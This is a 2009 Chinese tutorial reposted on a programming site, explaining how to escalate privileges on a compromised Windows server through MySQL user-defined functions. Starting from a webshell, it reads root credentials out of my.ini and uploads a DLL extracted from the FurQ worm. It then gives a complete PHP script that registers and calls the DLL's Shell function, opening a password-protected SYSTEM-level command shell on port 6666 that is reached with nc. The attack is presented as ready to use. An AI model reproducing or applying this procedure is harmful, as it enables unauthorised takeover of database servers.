为MySQL提权简单方法

来源:asp之家 时间:2009-08-29 15:21:00 

前不久网上公开了一个MySQL Func的漏洞,讲的是使用MySQL创建一个自定义的函数,然后通过这个函数来攻击服务器。最早看到相关的报道是在o-otik上,但是公布的是针对Unix系统的Exploit,并且成功率也不是很高.而近期,国内有高手放出针对Win系统的相关文章,于是我马上找来与朋友一同研究.

其实我们早就能想到.当我们在对MSSQLOracle数据库进行攻击的时候,得到了最数据库中高权限的帐户,往往都是执行特殊的扩展过程或者函数来进行攻击的。比如MSSQL有Xp_cmdshell,Oracle可以通过Msvcrt.dll来创建一个特殊的函数.而我们却始终没有想到,作为流行的数据库软件之一的MySQL,也是可以进行函数的创建的.由此看来,MySQL的这个漏洞不应称为漏洞而仅仅是一个技术而已.

废话一堆过后,我们来了解一下怎么在MySQL里创建一个函数吧.这比如何利用重要许多,只要了解了原理,运用就能更加灵活,而且可以与其他思想融会贯通.

MySQL中创建一个函数的语句为:

Create Function FunctionName Returns [String|Integer|Real] Soname 'C:function.dll';

其中FunctionName指的是函数的名称,C:Function.DLL指的是函数所调用的DLL,而函数名正是DLL中的函数名称.不过这里需要我们注意的是,如果我们需要MySQL可以在函数之中附带一个参数的话,那么就要符合UDF形式的程序编写规则,具体的可以查看MySQL手册的第14节:《为MySQL增加新函数》.而其中STRING,INTEGET,REAL是函数执行后所返回的值的形式.当然,我们大可不必遵循UDF形式的编写,其实如果我们的函数中使用一个我们要执行的代码,而不使用参数,一样可以达到攻击的效果,比如说System("command.com")等等.网上现在以此漏洞进行攻击的FurQ蠕虫就是一个不使用UDF格式的例子.但是注意,这个创建函数的语句必须要求我们所用的MySQL帐户有对mysql这个数据库的写权限,否则无法正常使用.

好了.了解了原理之后,我们来实战一下如何使用MySQL提升权限.

在这里我们已经通过各式各样的漏洞取得了一个服务器的WebShell,我这里演示的是angel的phpspy,因为PHP默认有连接MySQL的函数,而ASP这些需要使用附加的组件来进行连接,本身不具备条件的.

一般来说,在Win系统下面,很多软件都会在系统目录下创建一个叫my.ini的文件,其中包含了很敏感的MySQL信息.而如果我们攻克的主机没有非常好的权限设置的话,我们本身就具有对%windir%目录的浏览权限,所以可以非常容易的读取其中的信息.而且非常多的管理员通常是将root帐户与密码写进这个My.ini,所以一旦我们读到root用户的密码,就可以操纵整个MySQL数据库或者是服务器了.如图1.

得到MySQL的Root密码之后,我们需要上传我们的DLL文件,我这里使用的是从FurQ蠕虫中提取的FurQ.dll.执行这个FurQ.DLL中的Shell函数,系统将会在6666端口打开一个带密码的CMDShell,当然,密码我们已经知道,就是"FurQ"几个字符而已.不过我们现在还没有执行的条件.需要通过MySQL将这个函数创建到MySQL中去.

现在,我们用PHPSPY新建一个PHP文件.

输入以下的内容


$link=mysql_connect('127.0.0.1','root','root');
if (!$link) {
die('Could NOt Connect The Database!: ' . mysql_error());
};
echo "Good Boy.Connected!
";
//这里的rootroot就是从my.ini中读取的用户和密码.
@mysql_select_db('mysql') or die ('use database mysql failed!');
echo "Yes You Did!
";
//这里选择使用MySQL数据库表.当然你也可以选择别的,如test.
$query="Create Function Shell RETURNS INTEGER SONAME 'd:\wwwroot\FurQ.dll';";
@$result = mysql_query($query, $link) or die ("Create Function Failed!");
echo "Goddess...Successed!
";
//这两句话是关键,执行MySQL的创建函数语句.将d:wwwrootfurq.dll中的Shell函数创建进MySQL中.使得MySQL可以执行这个Shell函数.
$query="Select Shell();";
@$result = mysql_query($query, $link) or die ("Execute failed");
echo "Congratulations! Connect The Port 6666 Of This Server VS password:FurQ
";
//这一步是执行这个Shell函数,打开服务器的6666端口.
?>

再次执行,全部正常返回.如图2.那么现在,我们就可以使用nc连接服务器的6666端口,输入这个密码:FurQ.然后就返回CMDSHELL了..当然,由于继承的是MySQL的权限,而Win系统下MySQL默认以服务安装,也就是说,我们得到的Shell为LocalSystem权限,可以为所欲为了,不过不要做坏事哦.呵呵.

标签:mysql,提权,漏洞
0
投稿

猜你喜欢

  • mysql8.0.11客户端无法登陆的解决方法

    2024-01-17 18:57:52
  • python+selenium+autoit实现文件上传功能

    2021-01-16 12:00:04
  • Python Pandas如何获取和修改任意位置的值(at,iat,loc,iloc)

    2024-01-01 23:16:43
  • PHP使用CURL实现多线程抓取网页

    2024-06-05 09:48:25
  • Appium自动化测试中获取Toast信息操作

    2022-05-12 07:10:48
  • Django前端BootCSS实现分页的方法

    2023-12-21 01:45:34
  • Python实现一个优先级队列的方法

    2022-12-03 14:44:54
  • 关于Mysql-connector-java驱动版本问题总结

    2024-01-19 02:07:58
  • python3 解决requests出错重试的问题

    2021-02-05 10:26:27
  • 如何在python字符串中输入纯粹的{}

    2023-09-21 22:56:41
  • JS应用正则表达式转换大小写示例

    2024-04-26 17:11:14
  • Python3实现打格点算法的GPU加速实例详解

    2022-05-26 23:20:30
  • numpy排序与集合运算用法示例

    2022-08-25 10:23:06
  • python 虚拟环境详解

    2021-09-15 15:39:09
  • Python如何用NumPy读取和保存点云数据

    2022-05-26 17:41:19
  • Pandas数据处理加速技巧汇总

    2023-08-12 19:02:36
  • python+selenium+PhantomJS抓取网页动态加载内容

    2021-01-28 15:41:24
  • 使用mysqldump导入数据和mysqldump增量备份(mysqldump使用方法)

    2024-01-23 15:44:43
  • flask框架路由常用定义方式总结

    2021-04-18 22:12:29
  • asp如何同时处理数据库和页面错误?

    2010-06-07 20:58:00
  • asp之家 网络编程 m.aspxhome.com